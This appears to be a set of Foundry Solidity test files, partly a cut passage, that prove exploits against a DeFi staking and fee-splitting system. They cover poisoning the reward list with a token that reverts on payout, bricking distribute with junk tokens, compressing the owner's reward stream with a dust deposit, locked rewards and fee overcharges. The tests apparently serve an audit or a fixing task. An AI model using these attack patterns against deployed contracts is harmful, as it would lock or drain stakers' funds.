        // Attacker deploys a token, drops 1 EVIL on the splitter and has it distributed: distribute() is
        // permissionless and forwards any ERC-20 to ShiftRewards.notifyReceived, which registers it.
        vm.startPrank(attacker);
        EvilToken evil = new EvilToken();
        evil.transfer(address(splitter), 1e18);
        // A fix that refuses unknown tokens here (or does not register them) is acceptable.
        try splitter.distribute(address(evil)) {}
        catch {
            vm.stopPrank();
            return;
        }
        vm.stopPrank();
        if (!rewards.isRewardToken(address(evil))) return;

        // Alice earns some EVIL alongside her ETH, then the attacker switches EVIL transfers off.
        vm.warp(block.timestamp + 1 days);
        assertGt(rewards.earned(alice, address(evil)), 0);
        uint256 ethEarned = rewards.earned(alice, ETH);
        assertGt(ethEarned, 0);
        vm.prank(attacker);
        evil.setBlocked(true);

        // getReward() must still pay Alice her ETH; on the current code it reverts on the EVIL transfer.
        vm.prank(alice);
        rewards.getReward();
        assertEq(alice.balance, ethEarned, "ETH reward not paid through getReward()");

        // exit() is bricked the same way.
        vm.warp(block.timestamp + 1 days);
        vm.prank(alice);
        rewards.exit();
        assertEq(rewards.balanceOf(alice), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

contract LostStreamTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant ETH = address(0);

    ShiftToken shift;
    ShiftRewards rewards;
    address distributor = makeAddr("distributor");
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_700_000_000);
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        rewards.setDistributor(distributor);
        shift.transfer(alice, 1_000e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
    }

    /// @notice 10 ETH of fee income arrives while nobody is staked. Half (5 ETH) streams to stakers over 7 days
    /// with totalSupply == 0, so it is credited to nobody; it stays in `accounted[ETH]` and no path can ever
    /// pay it out or re-stream it.
    function test_streamWithNoStakersIsLockedForever() public {
        vm.deal(distributor, 10 ether);
        vm.prank(distributor);
        (bool ok,) = address(rewards).call{value: 10 ether}("");
        assertTrue(ok);
        assertEq(rewards.frogsPot(ETH), 5 ether);

        // The whole 7-day stream elapses with totalSupply == 0.
        vm.warp(block.timestamp + 7 days);

        // Now the first staker arrives and stays through another full week. A further 1 ETH of income
        // arrives after she staked, so a fix that re-queues the undistributed part on the next notify
        // also gets its chance to pay it out.
        vm.prank(alice);
        rewards.stake(1_000e18, 0);
        vm.deal(distributor, 1 ether);
        vm.prank(distributor);
        (ok,) = address(rewards).call{value: 1 ether}("");
        assertTrue(ok);
        vm.warp(block.timestamp + 7 days);

        uint256 claimable = rewards.earned(alice, ETH);
        uint256 stuck = address(rewards).balance - rewards.frogsPot(ETH) - claimable;
        emit log_named_uint("claimable by the only staker", claimable);
        emit log_named_uint("ETH streamed to nobody      ", stuck);

        // The 5 ETH staker half must still be payable to stakers (up to rounding dust); on the current
        // code it is locked.
        assertLe(stuck, 1e9, "staker half of the reward is locked in the contract");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @dev Plain mintable ERC-20 standing in for an attacker-deployed token, or for IMD.
contract Mintable is ERC20 {
    constructor() ERC20("M", "M") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Attacker token: transfers work for everyone except when ShiftRewards is the sender, so the
/// FeeSplitter can forward it but ShiftRewards can never pay it out.
contract RevertingForRewards is ERC20 {
    address public immutable blocked;

    constructor(address blocked_) ERC20("EVIL", "EVIL") {
        blocked = blocked_;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        require(msg.sender != blocked, "evil: no payout");
        return super.transfer(to, amount);
    }
}

/// @notice FeeSplitter.distribute(token) is permissionless and is the trusted `distributor` of
/// ShiftRewards.notifyReceived, so anyone can make ShiftRewards register any ERC-20 as a reward token.
contract RewardTokenPoisonProof is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    address constant BURN_EXECUTOR = 0xe29386719C155B6847aD5a4E97C6674f10ffc750;

    PoolManager manager;
    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_700_000_000);
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        splitter = new FeeSplitter(IPoolManager(address(manager)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        vm.etch(IMD, address(new Mintable()).code);
        shift.transfer(alice, 1_000e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
    }

    /// @dev The attacker's calls go through a low-level call so a fix that makes them revert still
    /// lets the test reach its assertions.
    function _attackerDistribute(address token) internal {
        vm.prank(attacker);
        (bool ok,) = address(splitter).call(abi.encodeCall(FeeSplitter.distribute, (token)));
        ok; // ignored on purpose
    }

    /// Fourteen junk tokens fill the 16-slot reward list (ETH and SHIFT hold the other two). After that
    /// `distribute(IMD)` reverts with TooManyRewardTokens forever: IMD (and every other ERC-20) sent to
    /// the FeeSplitter can never be split or burned, and there is no other way out of the contract.
    function test_anyoneCanBrickDistributeForImdAndOtherTokens() public {
        for (uint256 i = 0; i < 14; i++) {
            Mintable junk = new Mintable();
            junk.mint(address(splitter), 1e18);
            _attackerDistribute(address(junk));
        }

        Mintable(IMD).mint(address(splitter), 500e18);
        // Expected: the fixed rule runs and 20% of the IMD reaches the BurnExecutor.
        splitter.distribute(IMD);
        assertEq(Mintable(IMD).balanceOf(BURN_EXECUTOR), 100e18, "IMD burn share must reach the BurnExecutor");
        assertEq(Mintable(IMD).balanceOf(address(splitter)), 0, "nothing may stay stuck in the splitter");
    }

    /// One attacker token whose transfers revert when ShiftRewards sends it becomes a reward token and
    /// streams to every staker. Each staker then holds an unpayable `rewards[account][evil]`, so the
    /// brief's `getReward()` and `exit()` revert for them permanently.
    function test_anyoneCanBrickGetRewardAndExitForStakers() public {
        vm.prank(alice);
        rewards.stake(1_000e18, 0);

        RevertingForRewards evil = new RevertingForRewards(address(rewards));
        evil.mint(address(splitter), 1_000e18);
        _attackerDistribute(address(evil));

        vm.warp(block.timestamp + 1 days);

        // Expected: a staker can always collect what they earned and leave.
        vm.prank(alice);
        rewards.getReward();
        vm.prank(alice);
        rewards.exit();
        assertEq(rewards.balanceOf(alice), 0, "alice could not exit");
        assertEq(shift.balanceOf(alice), 1_000e18, "alice did not get her stake back");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {NightshiftHook} from "src/NightshiftHook.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @dev Minimal router: swaps and adds liquidity on a PoolManager, paying from its own balances.
contract ScratchRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swapExact(PoolKey memory key, bool zeroForOne, int256 amountSpecified) public returns (BalanceDelta) {
        SwapParams memory params = SwapParams({
            zeroForOne: zeroForOne,
            amountSpecified: amountSpecified,
            sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
        });
        bytes memory result = manager.unlock(abi.encode(true, abi.encode(key, params)));
        return abi.decode(result, (BalanceDelta));
    }

    function addLiquidity(PoolKey memory key, int24 lo, int24 hi, int256 liquidity) external returns (BalanceDelta) {
        ModifyLiquidityParams memory params =
            ModifyLiquidityParams({tickLower: lo, tickUpper: hi, liquidityDelta: liquidity, salt: 0});
        bytes memory result = manager.unlock(abi.encode(false, abi.encode(key, params)));
        return abi.decode(result, (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (bool isSwap, bytes memory inner) = abi.decode(data, (bool, bytes));
        BalanceDelta delta;
        PoolKey memory key;
        if (isSwap) {
            SwapParams memory params;
            (key, params) = abi.decode(inner, (PoolKey, SwapParams));
            delta = manager.swap(key, params, "");
        } else {
            ModifyLiquidityParams memory params;
            (key, params) = abi.decode(inner, (PoolKey, ModifyLiquidityParams));
            (delta,) = manager.modifyLiquidity(key, params, "");
        }
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return abi.encode(delta);
    }

    function _settle(Currency currency, int128 amount) internal {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            manager.sync(currency);
            if (currency.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                IERC20(Currency.unwrap(currency)).transfer(address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(currency, address(this), uint256(uint128(amount)));
        }
    }
}

contract PartialFillFeeTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant POOL_FEE = 12_500;
    int24 constant SPACING = 60;
    uint160 constant ALL_FLAGS = uint160((1 << 14) - 1);
    // beforeInitialize | beforeSwap | afterSwap | beforeSwapReturnDelta | afterSwapReturnDelta
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);

    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant FIRST_BUYER = 0x3322E6DD06Ade8377F1f1BCb766f6133d7b64D69;

    PoolManager manager;
    ShiftToken shift;
    NightshiftHook hook;
    FeeSplitter splitter;
    ScratchRouter router;
    PoolKey key;
    address alice = makeAddr("alice");

    function setUp() public {
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        bytes memory creationCode = abi.encodePacked(
            type(NightshiftHook).creationCode, abi.encode(manager, address(shift), OWNER, address(this))
        );
        bytes32 initCodeHash = keccak256(creationCode);
        bytes32 salt;
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if ((uint160(predicted) & ALL_FLAGS) == FLAGS) {
                salt = bytes32(i);
                break;
            }
        }
        hook = new NightshiftHook{salt: salt}(IPoolManager(address(manager)), address(shift), OWNER, address(this));
        splitter = hook.feeSplitter();
        key = PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(address(shift)),
            fee: POOL_FEE,
            tickSpacing: SPACING,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1); // this test contract plays the launch factory
        router = new ScratchRouter(manager);
        // Launch seed: SHIFT only, in a range below the opening price (no ETH in the pool yet).
        shift.transfer(address(router), 1_000_000e18);
        router.addLiquidity(key, TickMath.minUsableTick(SPACING), -SPACING, 1e23);
        vm.deal(address(router), 100 ether);
        // The first buyer opens trading with a 1 ETH buy.
        vm.prank(FIRST_BUYER, FIRST_BUYER);
        router.swapExact(key, true, -1 ether);
        assertTrue(hook.tradingOpen());
    }

    /// @notice An exact-input sell that the pool can only partly fill is charged the SHIFT fee on the whole
    /// specified amount, not on the SHIFT the pool actually took.
    function test_partialFillChargesShiftFeeOnUnconsumedInput() public {
        uint256 specified = 1_000e18; // far more than the 1 ETH of liquidity on the ETH side can absorb
        uint256 feeBefore = shift.balanceOf(address(splitter));
        vm.prank(alice, alice);
        BalanceDelta d;
        // A fix that refuses partial fills instead of repricing the fee is acceptable: then nobody is overcharged.
        try router.swapExact(key, false, -int256(specified)) returns (BalanceDelta res) {
            d = res;
        } catch {
            return;
        }

        uint256 shiftFee = shift.balanceOf(address(splitter)) - feeBefore;
        uint256 sellerPaid = uint256(uint128(-d.amount1()));
        uint256 poolTook = sellerPaid - shiftFee;
        emit log_named_uint("SHIFT specified      ", specified);
        emit log_named_uint("SHIFT the pool took  ", poolTook);
        emit log_named_uint("SHIFT fee to splitter", shiftFee);
        emit log_named_uint("SHIFT seller paid    ", sellerPaid);

        // The swap was a partial fill: the pool took far less than the seller specified.
        assertLt(poolTook, specified / 10, "expected a partial fill");
        // Spec: the hook takes 2.5% of the SHIFT input. The fee must not exceed 2.5% of what the seller paid.
        assertLe(shiftFee, sellerPaid * 250 / 10_000 + 1, "SHIFT fee exceeds 2.5% of the SHIFT actually sold");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @notice The owner's `notifyRewardAmount(SHIFT, amount, 365 days)` stream and the splitter's 7-day
/// stream share one `rewardData[SHIFT]`. Anyone who drops 10 wei of SHIFT on the FeeSplitter and calls
/// the permissionless `distribute(SHIFT)` re-notifies the token with STREAM_DURATION, which rewrites
/// the owner's leftover into a 7-day stream.
contract StreamDurationOverrideProof is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;

    PoolManager manager;
    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_700_000_000);
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        splitter = new FeeSplitter(IPoolManager(address(manager)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        shift.transfer(alice, 1_000e18);
        shift.transfer(OWNER, 365_000e18);
        shift.transfer(attacker, 1e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
        vm.prank(OWNER);
        shift.approve(address(rewards), type(uint256).max);
    }

    function test_unprivilegedDistributeCompressesOwnerStreamIntoSevenDays() public {
        vm.prank(alice);
        rewards.stake(1_000e18, 0);

        // Owner: 365,000 SHIFT for stakers over one year, i.e. 1,000 SHIFT per day.
        vm.prank(OWNER);
        rewards.notifyRewardAmount(address(shift), 365_000e18, 365 days);
        (uint256 finishBefore,,,) = rewards.rewardData(address(shift));
        assertEq(finishBefore, block.timestamp + 365 days);

        // Attacker: 10 wei of SHIFT to the splitter, then the permissionless distribute.
        vm.startPrank(attacker);
        shift.transfer(address(splitter), 10);
        (bool ok,) = address(splitter).call(abi.encodeCall(FeeSplitter.distribute, (address(shift))));
        ok; // a fix that refuses the dust call must still leave the owner's stream intact
        vm.stopPrank();

        // Expected: the owner's one-year schedule still stands, so after 7 days alice has earned about
        // 7,000 SHIFT (plus the attacker's 4 wei). Actual on this code: periodFinish moved to +7 days and
        // the whole 365,000 SHIFT has streamed out.
        (uint256 finishAfter,,,) = rewards.rewardData(address(shift));
        assertEq(finishAfter, finishBefore, "owner's stream end was rewritten by an unprivileged caller");

        vm.warp(block.timestamp + 7 days);
        uint256 earned = rewards.earned(alice, address(shift));
        assertLe(earned, 7_100e18, "a year-long stream paid out in a week");
    }
}